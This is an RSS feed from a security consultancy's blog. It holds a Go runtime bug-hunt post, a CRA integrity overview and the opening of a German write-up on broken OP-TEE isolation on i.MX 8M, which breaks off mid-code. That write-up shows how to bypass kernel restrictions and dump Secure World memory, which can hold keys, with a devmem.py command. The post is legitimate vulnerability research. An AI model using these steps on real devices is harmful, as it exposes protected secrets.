<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>sigma star gmbh Blog</title><link>https://sigma-star.at/de/blog/</link><description>Fundierte Einblicke zu Linux, Open Source und IT-Sicherheit: Im sigma star Blog halten wir Sie auf dem Laufenden. Entdecken Sie wertvolle Tipps aus unserer täglichen Arbeit!</description><generator>Hugo</generator><language>de</language><lastBuildDate>Sat, 22 Aug 2026 00:00:00 +0200</lastBuildDate><atom:link href="https://sigma-star.at/de/blog/index.xml" rel="self" type="application/rss+xml"/><item><title>Hunting Down a Go Runtime Bug on 32-bit Embedded Systems</title><link>https://sigma-star.at/blog/2026/08/go-runtime-netpoll-bug/</link><pubDate>Sat, 22 Aug 2026 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/blog/2026/08/go-runtime-netpoll-bug/</guid><description>&lt;h1 id="hunting-down-a-go-runtime-bug-on-32-bit-embedded-systems">Hunting Down a Go Runtime Bug on 32-bit Embedded Systems&lt;/h1>
&lt;p>Our daily work usually revolves around Linux and security topics, deep down in the software stack.
Still, more often than you might think, we end up debugging applications which live much higher up.
Sometimes such a problem has its roots in the Linux kernel, sometimes elsewhere.
In this blog post we show how we found and fixed a bug inside the Go runtime.&lt;/p></description><content:encoded><![CDATA[<h1 id="hunting-down-a-go-runtime-bug-on-32-bit-embedded-systems">Hunting Down a Go Runtime Bug on 32-bit Embedded Systems</h1>
<p>Our daily work usually revolves around Linux and security topics, deep down in the software stack.
Still, more often than you might think, we end up debugging applications which live much higher up.
Sometimes such a problem has its roots in the Linux kernel, sometimes elsewhere.
In this blog post we show how we found and fixed a bug inside the Go runtime.</p>
<p>Recently a customer reported that an application written in Go crashes from time to time on one of their embedded Linux systems.</p>
<h2 id="introduction">Introduction</h2>
<p>The crash was always the same fatal error with the following signature:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">runtime: netpoll: eventfd ready for 5
fatal error: runtime: netpoll: eventfd ready for something unexpected
...stack trace...
</code></pre><p>At first we assumed that the application itself was buggy and needed fixing.
But after inspecting the error more closely, it looked much more like an internal assumption in Go&rsquo;s netpoll mechanism no longer holds.</p>
<p>The error message comes from <code>netpoll()</code> in <a href="https://github.com/golang/go/blob/c97cfcb37fced87a43a3dbab8983d6f76b8b84d1/src/runtime/netpoll_epoll.go#L141">src/runtime/netpoll_epoll.go</a>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="k">if</span><span class="w"> </span><span class="nx">ev</span><span class="p">.</span><span class="nx">Events</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nx">linux</span><span class="p">.</span><span class="nx">EPOLLIN</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nb">println</span><span class="p">(</span><span class="s">&#34;runtime: netpoll: eventfd ready for&#34;</span><span class="p">,</span><span class="w"> </span><span class="nx">ev</span><span class="p">.</span><span class="nx">Events</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nf">throw</span><span class="p">(</span><span class="s">&#34;runtime: netpoll: eventfd ready for something unexpected&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>In this code path, the netpoll code expects <code>EPOLLIN</code> to be the only firing event, but it got something else.
In our case it got <code>5</code>, which is <code>EPOLLIN|EPOLLOUT</code>.
Why would epoll suddenly report more than <code>EPOLLIN</code> if the code asked only for <code>EPOLLIN</code>?</p>
<p>Before digging deeper, we threw the error message into a search engine, hoping that somebody else had faced the same issue before.
This led us straight to a report in the Go project&rsquo;s issue tracker:
<a href="https://github.com/golang/go/issues/72900">runtime: netpoll: eventfd ready for something unexpected</a>.</p>
<p>The issue describes exactly the fatal error we saw.
Also on a 32-bit ARM embedded Linux system!
The reporters also noted that the crash happens in applications which run for a long time.
That matched our customer&rsquo;s description, too.
Bingo!</p>
<p>The issue had been open and unresolved since March 2025.
The Go maintainers had also rejected one <a href="https://go-review.googlesource.com/c/go/&#43;/658755">attempt</a> to fix the problem.</p>
<p>From the comments on the issue we learned that the fatal error only ever showed up on 32-bit ARM and i386 Linux systems, with all kinds of kernel versions.
Some kernels were rather old, others recent.
Not a single reporter saw it on an x86_64 or arm64 system.</p>
<h2 id="accepting-the-challenge">Accepting the Challenge</h2>
<p>The problem had multiple reporters but no fix, so we decided to dig into the issue ourselves.
At the very least we could give the Go folks better input.</p>
<p>Initially we suspected that epoll behaves differently on 32-bit ARM or i386.
We ditched this idea quickly since epoll is generic core code in the kernel.
Why would it return a spurious event set only on 32-bit ARM or i386?</p>
<p>Still, the fact that the error showed up only on 32-bit systems gnawed at us.
As a next step we reviewed the epoll usage in Go&rsquo;s netpoll code.
With the help of an LLM we went through <code>src/runtime/netpoll_epoll.go</code>, focusing on 32-bit pitfalls such as integer conversions.</p>
<p>The review revealed that Go&rsquo;s netpoll code uses the <code>data</code> field of <code>struct epoll_event</code>.
Linux epoll can store an 8 byte cookie in the kernel and returns it as part of the firing event to user space.
Applications use this cookie to attach metadata to an event, for example to tell different event sources apart.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-C" data-lang="C"><span class="line"><span class="cl"><span class="k">struct</span> <span class="n">epoll_event</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">__poll_t</span>  <span class="n">events</span><span class="p">;</span>   <span class="cm">/* ev.Events in Go netpoll */</span>
</span></span><span class="line"><span class="cl">    <span class="n">__u64</span>     <span class="n">data</span><span class="p">;</span>     <span class="cm">/* ev.Data in Go netpoll */</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>Deep inside the Go runtime, the main event handler needs to know whether an event belongs to an event fd or a socket fd.
It decides by comparing <code>ev.Data</code> to the address of its internal event fd object:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="k">if</span><span class="w"> </span><span class="o">*</span><span class="p">(</span><span class="o">**</span><span class="kt">uintptr</span><span class="p">)(</span><span class="nx">unsafe</span><span class="p">.</span><span class="nf">Pointer</span><span class="p">(</span><span class="o">&amp;</span><span class="nx">ev</span><span class="p">.</span><span class="nx">Data</span><span class="p">))</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">netpollEventFd</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="o">...</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>Reading further through the code showed that <code>ev.Data</code> holds either a raw pointer to <code>netpollEventFd</code> or a tagged pointer to a per-socket object, <code>pollDesc</code>.
The pointer tag is a counter, <code>fdseq</code>, which distinguishes recycled <code>pollDesc</code> objects.</p>
<p>So far so good.
Mixing raw and tagged pointers in the same field looked fishy to us.
But how this relates to the crash was not clear yet.</p>
<p>Inspecting how Go lays out tagged pointers in memory finally revealed the core of the issue.</p>
<h2 id="the-aha-moment">The Aha Moment</h2>
<p>On 32-bit platforms, Go&rsquo;s tagged pointer logic packs the full 32-bit address and up to 32 tag bits into an 8 byte word.
The tag goes into the lower 4 bytes and the address into the upper 4 bytes.</p>
<p>Storing a tagged pointer with address <code>0x00123456</code> and tag <code>0x12</code> fills <code>ev.Data</code> like this:</p>
<pre tabindex="0"><code> ev.Data[0:4]        ev.Data[4:8]
+------------------+-------------------+
|  fdseq           |  *pollDesc        |
|  e.g. 0x00000012 |  e.g. 0x00123456  |
+------------------+-------------------+
</code></pre><p>Storing the raw pointer, on the other hand, leaves the following contents in <code>ev.Data</code>:</p>
<pre tabindex="0"><code> ev.Data[0:4]       ev.Data[4:8]
+------------------+-------------------+
|  &amp;netpollEventFd |  0 (untouched)    |
|  e.g. 0x00123456 |  0x00000000       |
+------------------+-------------------+
</code></pre><p>The lower 4 bytes hold the address of the object.
The upper 4 bytes stay untouched since an address is only 4 bytes long on a 32-bit system.</p>
<p>This finally shows the root of the problem.
The comparison of <code>ev.Data</code> with <code>&amp;netpollEventFd</code> evaluates only the lower 4 bytes of <code>ev.Data</code>.
The code casts <code>ev.Data</code> to <code>uintptr</code>, which is 4 bytes on 32-bit platforms.
So the address of the <code>netpollEventFd</code> object aliases with <code>fdseq</code>.</p>
<p>As soon as <code>fdseq</code> grows large enough to match <code>&amp;netpollEventFd</code>, the netpoll logic mistakes a socket fd for an event fd.
Internal assumptions fall apart, among them the assumption that the ready event is just <code>EPOLLIN</code>.</p>
<p>Note that this aliasing can only happen on 32-bit little endian systems.
On a 64-bit system, the comparison always covers the whole 8 bytes.
On a 32-bit big endian system, the comparison would read the upper 4 bytes, which contain the address.</p>
<p><code>fdseq</code> needs to grow into the millions before it matches <code>&amp;netpollEventFd</code>.
That&rsquo;s why the problem shows up only in long-running programs which create lots of <code>pollDesc</code> objects over time.
On a typical 32-bit ARM Linux system, <code>netpollEventFd</code> resides in a read-only section within the first 3 MiB of the address space, as the memory map of our test program shows:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">$ pmap `pidof netpoll_test`
204:   /opt/netpoll_test
00010000   2696K r-x-- netpoll_test
002c0000   2192K r---- netpoll_test
004f0000    180K rw--- netpoll_test
...
</code></pre><p>So <code>fdseq</code> needs to reach a value of about 3 million before the crash can happen.</p>
<h2 id="a-test-case">A Test Case</h2>
<p>We also created a <a href="https://github.com/richardweinberger/go_netpoll_32bit_testcase">standalone test case</a> for the problem.
On our test systems, it triggered the crash within a few minutes:</p>
<pre tabindex="0"><code class="language-terminal" data-lang="terminal">$ /tmp/repro.arm.system
netpoll eventfd-alias reproducer (GOOS=linux GOARCH=arm)
runtime.netpollEventFd is at address 0x223008
crash expected around cycle 2240520

cycle 2236988runtime: netpoll: eventfd ready for 4
fatal error: runtime: netpoll: eventfd ready for something unexpected

runtime stack:
...
</code></pre><h2 id="fixing-the-issue">Fixing the Issue</h2>
<p>We <a href="https://github.com/golang/go/pull/81037">proposed a fix</a> which changes how netpoll tells event fds and socket fds apart.
Instead of storing the raw pointer <code>&amp;netpollEventFd</code>, the fix stores a <code>nil</code> <code>pollDesc</code> as a tagged pointer.
When unpacking the tagged pointer yields <code>nil</code>, the event belongs to the event fd, otherwise to a socket fd.
This way <code>ev.Data</code> always contains a tagged pointer and the aliasing is gone.
A few days later our fix was <a href="https://go-review.googlesource.com/c/go/&#43;/819800">merged</a>.</p>
<h2 id="summary">Summary</h2>
<p>A Go application crashed sporadically on a 32-bit ARM embedded Linux system with a fatal netpoll error.
The error looked like an epoll problem, but epoll worked just fine.
The Go runtime stores both a raw pointer to <code>netpollEventFd</code> and tagged <code>pollDesc</code> pointers in the 8 byte <code>ev.Data</code> field.
On 32-bit little endian systems, the raw pointer aliases with the <code>fdseq</code> tag.
Once a long-running program has recycled millions of <code>pollDesc</code> objects, netpoll mistakes a socket fd for the event fd and crashes.
Our fix stores a tagged <code>nil</code> <code>pollDesc</code> for the event fd instead, which removes the aliasing.</p>
<p>The bug slipped into the Go runtime with Go 1.21 in 2023.
It went unnoticed until the first report in March 2025 and finally got fixed in 2026.
We can only speculate, but this suggests that Google itself no longer runs any 32-bit Go programs.
Otherwise they would have hit the bug themselves long before we did.</p>
<p>We&rsquo;d like to thank Frequentis AG for providing the budget to analyze and fix the problem.</p>
]]></content:encoded></item><item><title>Ausgewählte Blog-Posts nun auch auf Deutsch verfügbar</title><link>https://sigma-star.at/de/blog/2026/08/blog-posts-auf-deutsch/</link><pubDate>Wed, 19 Aug 2026 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/de/blog/2026/08/blog-posts-auf-deutsch/</guid><description><![CDATA[<h1 id="ausgewählte-blog-posts-nun-auch-auf-deutsch-verfügbar">Ausgewählte Blog-Posts nun auch auf Deutsch verfügbar</h1>
<p>Obwohl wir allesamt waschechte Tiroler sind, Andreas Hofer wäre stolz auf uns,
verfassen wir alle unsere Blog-Posts auf Englisch. Das hat einen einfachen
Grund: Unsere Arbeitssprache ist grundsätzlich Englisch, und wir haben Kunden
aus aller Welt. Dennoch erreichen uns immer wieder Wünsche nach
deutschsprachigen Inhalten. Aus diesem Grund veröffentlichen wir ab sofort
ausgewählte Blog-Posts auch auf Deutsch.</p>
<p>Da wir, wie gesagt, primär auf Englisch schreiben, entstehen die deutschen
Varianten zum Großteil mit Hilfe eines LLMs. Jede Übersetzung trägt deshalb am
Anfang einen kurzen Hinweis samt Link zum englischen Original. Die deutsche
Blogübersicht zeigt weiterhin auch alle englischen Beiträge, für die es keine
Übersetzung gibt: Sie verpassen also nichts.</p>]]></description><content:encoded><![CDATA[<h1 id="ausgewählte-blog-posts-nun-auch-auf-deutsch-verfügbar">Ausgewählte Blog-Posts nun auch auf Deutsch verfügbar</h1>
<p>Obwohl wir allesamt waschechte Tiroler sind, Andreas Hofer wäre stolz auf uns,
verfassen wir alle unsere Blog-Posts auf Englisch. Das hat einen einfachen
Grund: Unsere Arbeitssprache ist grundsätzlich Englisch, und wir haben Kunden
aus aller Welt. Dennoch erreichen uns immer wieder Wünsche nach
deutschsprachigen Inhalten. Aus diesem Grund veröffentlichen wir ab sofort
ausgewählte Blog-Posts auch auf Deutsch.</p>
<p>Da wir, wie gesagt, primär auf Englisch schreiben, entstehen die deutschen
Varianten zum Großteil mit Hilfe eines LLMs. Jede Übersetzung trägt deshalb am
Anfang einen kurzen Hinweis samt Link zum englischen Original. Die deutsche
Blogübersicht zeigt weiterhin auch alle englischen Beiträge, für die es keine
Übersetzung gibt: Sie verpassen also nichts.</p>
<p>In diesem Sinne viel Spaß beim Lesen und sorry, Andreas!</p>
]]></content:encoded></item><item><title>Integrität auf Embedded-Linux-Geräten unter dem Cyber Resilience Act</title><link>https://sigma-star.at/de/blog/2026/06/integrit%C3%A4t-auf-embedded-linux-ger%C3%A4ten-unter-dem-cyber-resilience-act/</link><pubDate>Mon, 29 Jun 2026 00:00:00 +0200</pubDate><author>Lorenz Kofler</author><guid>https://sigma-star.at/de/blog/2026/06/integrit%C3%A4t-auf-embedded-linux-ger%C3%A4ten-unter-dem-cyber-resilience-act/</guid><description><![CDATA[<h1 id="integrität-auf-embedded-linux-geräten-unter-dem-cyber-resilience-act">Integrität auf Embedded-Linux-Geräten unter dem Cyber Resilience Act</h1>
<p>Wie schon bei der
<a href="https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/">Vertraulichkeit</a>
führt der Cyber Resilience Act (CRA) auch die Integrität als grundlegende
Cybersicherheitsanforderung auf.
In diesem Beitrag betrachten wir, was das für Embedded-Linux-Geräte bedeutet.</p>
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I">Anhang I, Teil
I(2)</a>
legt fest, dass Produkte mit digitalen Elementen, die auf dem EU-Markt bereitgestellt werden:</p>
<blockquote>
<p>(f) die Integrität von gespeicherten, übermittelten oder anderweitig
verarbeiteten Daten, seien es personenbezogene oder andere, sowie von Befehlen,
Programmen und Konfigurationen gegen jede vom Nutzer nicht autorisierte
Manipulation oder Veränderung schützen und Beschädigungen melden</p>]]></description><content:encoded><![CDATA[<h1 id="integrität-auf-embedded-linux-geräten-unter-dem-cyber-resilience-act">Integrität auf Embedded-Linux-Geräten unter dem Cyber Resilience Act</h1>
<p>Wie schon bei der
<a href="https://sigma-star.at/de/blog/2026/02/vertraulichkeit-von-daten-durch-speicherverschl%C3%BCsselung-auf-embedded-linux-ger%C3%A4ten/">Vertraulichkeit</a>
führt der Cyber Resilience Act (CRA) auch die Integrität als grundlegende
Cybersicherheitsanforderung auf.
In diesem Beitrag betrachten wir, was das für Embedded-Linux-Geräte bedeutet.</p>
<p><a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#anx_I">Anhang I, Teil
I(2)</a>
legt fest, dass Produkte mit digitalen Elementen, die auf dem EU-Markt bereitgestellt werden:</p>
<blockquote>
<p>(f) die Integrität von gespeicherten, übermittelten oder anderweitig
verarbeiteten Daten, seien es personenbezogene oder andere, sowie von Befehlen,
Programmen und Konfigurationen gegen jede vom Nutzer nicht autorisierte
Manipulation oder Veränderung schützen und Beschädigungen melden</p>
</blockquote>
<p>Wie erfüllt ein Embedded-Linux-Gerät diese Anforderung nun tatsächlich? Die
Integritätsanforderung des CRA ist so weit gefasst, wie sie klingt. Sie umfasst
nicht nur (personenbezogene und nicht personenbezogene) Daten, sondern auch
Befehle, Programme und Konfigurationen, und sie gilt unabhängig davon, ob das
Gerät diese Werte speichert, übermittelt oder aktiv verarbeitet.</p>
<p>Es gibt keine einzelne technische Maßnahme, die all diese Werte in jedem Zustand
schützt. Je nach Produkt und Threat Model kann Integrität Maßnahmen für die
Boot-Kette, Software-Updates, gespeicherte Daten, Anwendungs-Binaries,
Konfiguration, Befehle und die Kommunikation mit anderen Systemen erfordern.</p>
<h2 id="umfang-der-cra-integritätsanforderung">Umfang der CRA-Integritätsanforderung</h2>
<p>Dieser gliedert sich in zwei Teile:</p>
<h3 id="betroffene-werte">Betroffene Werte</h3>
<blockquote>
<p>gespeicherte, übermittelte oder anderweitig verarbeitete Daten, seien es
personenbezogene oder andere, sowie Befehle, Programme und Konfigurationen</p>
</blockquote>
<p>Der CRA nennt Daten, Befehle, Programme und Konfigurationen, schreibt aber keine
feste Liste von Komponenten oder Maßnahmen vor. Nach <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#art_13">Artikel
13</a>
muss die Cybersicherheits-Risikobewertung angeben, ob und wie die Anforderungen
aus Anhang I, Teil I(2) auf das Produkt zutreffen. Für Embedded-Geräte bedeutet
das, dass der Hersteller ein Threat Model benötigt. Es sollte aufzeigen, welche
Werte ein Angreifer verändern könnte, welche Wege ihm dafür offenstehen und
welche Folgen das hätte.</p>
<p>Bei einem Embedded-Gerät können zu den betroffenen Werten der Bootloader, der
Kernel, die Kernel-Kommandozeile, Anwendungs-Binaries, die Konfiguration sowie
Nachrichten oder Befehle gehören, die mit anderen Systemen ausgetauscht werden.
Die Anforderung beschränkt sich daher nicht auf Nutzerdaten oder
personenbezogene Daten. Selbst ein Gerät, das überhaupt keine personenbezogenen
Daten speichert, fällt unter die Integritätsanforderung.</p>
<h3 id="erforderlicher-schutz">Erforderlicher Schutz</h3>
<blockquote>
<p>schützen &hellip; gegen jede vom Nutzer nicht autorisierte Manipulation oder
Veränderung und Beschädigungen melden</p>
</blockquote>
<p>Für ein Embedded-Linux-Gerät heißt das, relevante Werte gegen unbefugte
Veränderung zu schützen, Integritätsverletzungen dort zu erkennen, wo es
angebracht ist, und Beschädigungen zu melden. Die passenden Technologien hängen
vom jeweiligen Wert und vom Threat Model ab.</p>
<p>In manchen Fällen erfordert der Schutz gegen unbefugte Veränderung zusätzlich
<a href="https://csrc.nist.gov/glossary/term/authenticity">Authentizität</a>. Das Gerät
muss überprüfen, dass Software, Konfiguration, Befehle oder Daten aus einer
autorisierten Quelle stammen.</p>
<h2 id="integritätsmaßnahmen-für-embedded-linux">Integritätsmaßnahmen für Embedded Linux</h2>
<p>Embedded-Linux-Geräte benötigen in der Regel Integritätsmaßnahmen auf mehreren
Ebenen. Die folgenden Beispiele sind ein Ausgangspunkt, keine Checkliste für
jedes Produkt:</p>
<ul>
<li>
<p><strong>Secure Boot</strong>: um die Integrität und Authentizität jeder Komponente der
Boot-Kette zu überprüfen, bevor das Gerät sie ausführt. Setzen Sie Secure Boot
sorgfältig um: Angreifer können Eingaben außerhalb der Vertrauenskette
missbrauchen, etwa die Kernel-Kommandozeile oder die Bootloader-Umgebung, um
Schutzmechanismen zu umgehen.</p>
</li>
<li>
<p><strong>Signierte Updates</strong>: um die Authentizität und Integrität von Firmware-,
Betriebssystem- und Anwendungs-Updates zu überprüfen, bevor das Gerät sie
installiert. Je nach Produkt kann dazu auch ein Rollback-Schutz nötig sein.</p>
</li>
<li>
<p><strong>Integrität von Data at Rest</strong>: um Veränderungen oder Beschädigungen
gespeicherter Daten zu erkennen. Je nach Ebene und Anwendungsfall lässt sich dies durch
unterschiedliche Mechanismen umsetzen, etwa:</p>
<ul>
<li><a href="https://docs.kernel.org/admin-guide/device-mapper/verity.html">dm-verity</a>
für Read-only-Block-Devices</li>
<li><a href="https://docs.kernel.org/admin-guide/device-mapper/dm-integrity.html">dm-integrity</a>
für beschreibbare Block-Devices, optional in Kombination mit
<a href="https://docs.kernel.org/admin-guide/device-mapper/dm-crypt.html">dm-crypt</a>
für authentifizierte Verschlüsselung.</li>
<li><a href="https://ejaaskel.dev/yocto-hardening-ima-and-evm/">Linux IMA und EVM</a> für
Dateiintegrität und ausgewählte Datei-Metadaten.</li>
<li><a href="https://docs.kernel.org/filesystems/fsverity.html">fs-verity</a> für
Read-only-Dateiinhalte.</li>
</ul>
</li>
</ul>
<!-- raw HTML omitted -->
<ul>
<li>
<p><strong>Zugriffskontrolle</strong>: um die Integrität zu wahren, indem eingeschränkt wird,
wer oder was relevante Werte verändern darf. Ein Gerät kann Zugriffskontrolle
auf verschiedenen Ebenen umsetzen, zum Beispiel mit Dateisystem-Berechtigungen,
Linux Security Modules wie
<a href="https://git.kernel.org/pub/scm/linux/kernel/git/pcmoore/selinux.git/tree/README.md">SELinux</a>
oder <a href="https://apparmor.net">AppArmor</a>, oder mit Autorisierungsprüfungen auf
Anwendungsebene für APIs (etwa REST oder GraphQL).</p>
</li>
<li>
<p><strong>Integrität von Data in Transit</strong>: um unbefugte Veränderungen von Daten zu
erkennen, während das Gerät sie mit anderen Systemen austauscht, und veränderte
Daten abzuweisen, zum Beispiel mit TLS.</p>
</li>
<li>
<p><strong>Trusted Execution Environments</strong>: um ausgewählten Code und ausgewählte Daten
während der Verarbeitung zu schützen. So können TEEs Integritäts- und
Vertraulichkeitsschutz bieten, selbst wenn ein Angreifer das
Hauptbetriebssystem kompromittiert, abhängig vom TEE-Design und vom Threat
Model.</p>
</li>
</ul>
<h2 id="fazit">Fazit</h2>
<p>Die wichtigste Erkenntnis lautet: Die Integritätsanforderung des CRA ist breit
gefasst, und keine einzelne Funktion kann sie erfüllen. Je nach Threat Model
benötigt das Produkt möglicherweise mehrere sich ergänzende Technologien.</p>
<p>Zur Erinnerung: Ein Verstoß gegen den CRA ist mit empfindlichen Geldbußen
verbunden. Die zentralen Pflichten gelten ab dem 11. Dezember 2027. Danach kann
ein Verstoß gegen die grundlegenden Cybersicherheitsanforderungen Geldbußen von
bis zu <a href="https://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri=OJ:L_202402847#art_64">15.000.000 EUR oder 2,5 % des gesamten weltweiten
Jahresumsatzes</a>
nach sich ziehen.</p>
<p>Wenn Sie Unterstützung dabei brauchen, ein Threat Model abzuleiten, passende
Integritätsmechanismen auszuwählen oder zu überprüfen, ob Ihre bestehenden
Maßnahmen die relevanten Bedrohungen abdecken, helfen wir Ihnen gerne.</p>
]]></content:encoded></item><item><title>TrustZone Intermezzo: Kaputte OP-TEE-Speicherisolation auf dem i.MX 8M</title><link>https://sigma-star.at/de/blog/2026/06/trustzone-intermezzo/</link><pubDate>Thu, 11 Jun 2026 00:00:00 +0200</pubDate><author>Richard Weinberger</author><guid>https://sigma-star.at/de/blog/2026/06/trustzone-intermezzo/</guid><description><![CDATA[<h1 id="trustzone-intermezzo-kaputte-op-tee-speicherisolation-auf-dem-imx-8m">TrustZone Intermezzo: Kaputte OP-TEE-Speicherisolation auf dem i.MX 8M</h1>
<p>TL;DR: <em>Wenn Sie kein Upstream-OP-TEE neuer als v4.10.0 mit <code>CFG_TZASC_REGION0_SECURE=y</code> oder i.MX-Downstream-OP-TEE neuer als lf-6.12.49_2.2.0 verwenden, ist der Speicher von OP-TEE nicht ordentlich geschützt und kann aus der Normal World kompromittiert werden.</em></p>
<p>Vor Kurzem erregte ein <a href="https://github.com/OP-TEE/optee_os/commit/31bb491f8e7c78794b6f9615cc4f2deec58b4ed9">Commit aus dem Jahr 2024</a> im OP-TEE-OS-Git-Repository unsere Aufmerksamkeit.
Er stellt sicher, dass der TrustZone Address Space Controller (TZASC) auf allen i.MX-8M-SoCs aktiviert ist.
Unsere erste Reaktion war gemischt. Kann es wirklich sein, dass OP-TEE vor diesem Commit <em>vergessen</em> hat, seine eigene Speicherregion zu schützen? Oder fügt der Commit nur eine weitere Absicherung gegen bestimmte Fehlkonfigurationen hinzu?
Und falls ja, warum wurde kein CVE eingereicht?</p>]]></description><content:encoded><![CDATA[<h1 id="trustzone-intermezzo-kaputte-op-tee-speicherisolation-auf-dem-imx-8m">TrustZone Intermezzo: Kaputte OP-TEE-Speicherisolation auf dem i.MX 8M</h1>
<p>TL;DR: <em>Wenn Sie kein Upstream-OP-TEE neuer als v4.10.0 mit <code>CFG_TZASC_REGION0_SECURE=y</code> oder i.MX-Downstream-OP-TEE neuer als lf-6.12.49_2.2.0 verwenden, ist der Speicher von OP-TEE nicht ordentlich geschützt und kann aus der Normal World kompromittiert werden.</em></p>
<p>Vor Kurzem erregte ein <a href="https://github.com/OP-TEE/optee_os/commit/31bb491f8e7c78794b6f9615cc4f2deec58b4ed9">Commit aus dem Jahr 2024</a> im OP-TEE-OS-Git-Repository unsere Aufmerksamkeit.
Er stellt sicher, dass der TrustZone Address Space Controller (TZASC) auf allen i.MX-8M-SoCs aktiviert ist.
Unsere erste Reaktion war gemischt. Kann es wirklich sein, dass OP-TEE vor diesem Commit <em>vergessen</em> hat, seine eigene Speicherregion zu schützen? Oder fügt der Commit nur eine weitere Absicherung gegen bestimmte Fehlkonfigurationen hinzu?
Und falls ja, warum wurde kein CVE eingereicht?</p>
<p>Erinnern Sie sich daran, wie die beiden Welten aufgeteilt sind. OP-TEE läuft in der sogenannten Secure World des SoC, während ein Betriebssystem wie Linux in der Normal World läuft (auch Non-Secure World genannt).
Die Arm TrustZone erzwingt diese Trennung mithilfe des TZASC.</p>
<figure>
<img src="https://sigma-star.at/de/blog/2026/06/trustzone-intermezzo/el.svg" loading="lazy" decoding="async" alt="Die Normal World und die Secure World, getrennt durch die Arm TrustZone"></figure>
<p>Es ist also entscheidend, dass die Normal World nicht direkt auf den Speicher der Secure World zugreifen kann.
OP-TEE implementiert oft ein Software-TPM oder verwahrt andere geheime Schlüssel.
Linux darf nicht darauf zugreifen, weder der Kernel noch root im Userspace.</p>
<p>Dieser Commit ließ uns nicht los, also gruben wir tiefer und probierten es aus.
Viele unserer Kunden betreiben Systeme auf i.MX-8M-Basis und legen großen Wert auf Sicherheit.
Wir hatten dabei viel Spaß, und so dokumentiert dieser Blogpost unsere Reise.</p>
<h2 id="den-bug-bestätigen">Den Bug bestätigen</h2>
<p>Wir booteten eines unserer i.MX-8M-Boards, genauer gesagt das NXP i.MX 8M Mini EVK, mit OP-TEE Version 4.1.0, die diesen Commit nicht enthält.
Auf diesem System legt OP-TEE seinen Hauptspeicher an die Adresse <code>0xbe000000</code>, also versuchten wir, diese Region aus Linux auszulesen.
Der Versuch sollte fehlschlagen, weil Linux in der Normal World läuft und OP-TEE in der Secure World.</p>
<p>Unter Linux erreicht root den gesamten Systemspeicher über <code>/dev/mem</code>, also versuchten wir, auf diese Weise von <code>0xbe000000</code> zu lesen.
Es gibt Werkzeuge wie <a href="https://github.com/denix0/devmem2">devmem2</a>, aber wir schrieben ein paar Zeilen Python, um flexibel zu bleiben.
Der Zugriff schlug sofort fehl. Gut. Oder?</p>
<p>Nicht so schnell. Der Kernel auf diesem System war mit <code>CONFIG_STRICT_DEVMEM</code> gebaut.
Diese Option beschränkt <code>/dev/mem</code> auf Gerätespeicher, also blockierte sie unseren Lesezugriff, noch bevor die TrustZone überhaupt ins Spiel kam.
Zeit, den Kernel mit deaktiviertem <code>CONFIG_STRICT_DEVMEM</code> neu zu bauen.</p>
<p>Auf dem frisch gebauten Kernel schlug der Lesezugriff weiterhin fehl. Gut, aber waren wir sicher?
Als wir genauer nachdachten, wandten wir uns dem Kernel-Log zu und fanden diese Zeile:</p>
<pre tabindex="0"><code>OF: reserved mem: 0x00000000be000000..0x00000000bfbfffff (28672 KiB) nomap non-reusable optee_core@be000000
</code></pre><p>OP-TEE fügt dem an Linux übergebenen Device Tree Reserved-Memory-Knoten hinzu, sodass Linux diese Speicherregion vollständig ignoriert.
Besonders die <code>nomap</code>-Eigenschaft stellt sicher, dass die Region nie abgebildet wird.
Unser Test konnte also nicht funktionieren: Linux <em>selbst</em> hält die OP-TEE-Region außer Reichweite.
Aber das war nicht das, was wir testen wollten. Wir wollten wissen, ob der Zugriff überhaupt möglich ist.
Linux läuft in der Normal World und darf diesen Speicher nicht erreichen, auch dann nicht, wenn es das unbedingt will.
Nach ein paar geänderten Codezeilen hatten wir einen Kernel, der den <code>nomap</code>-Hinweis von OP-TEE ignorierte.
In einem realen Szenario kann ein Angreifer, der den Kernel übernommen hat, diese Einschränkung ebenfalls umgehen, am einfachsten durch das Laden eines eigenen Kernelmoduls.</p>
<p>Zeit, es erneut zu prüfen.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl"><span class="c1"># dump memory</span>
</span></span><span class="line"><span class="cl">$ python3 devmem.py 0xbe000000 0x100000 &gt; optee_core.bin
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># check for a well known string</span>
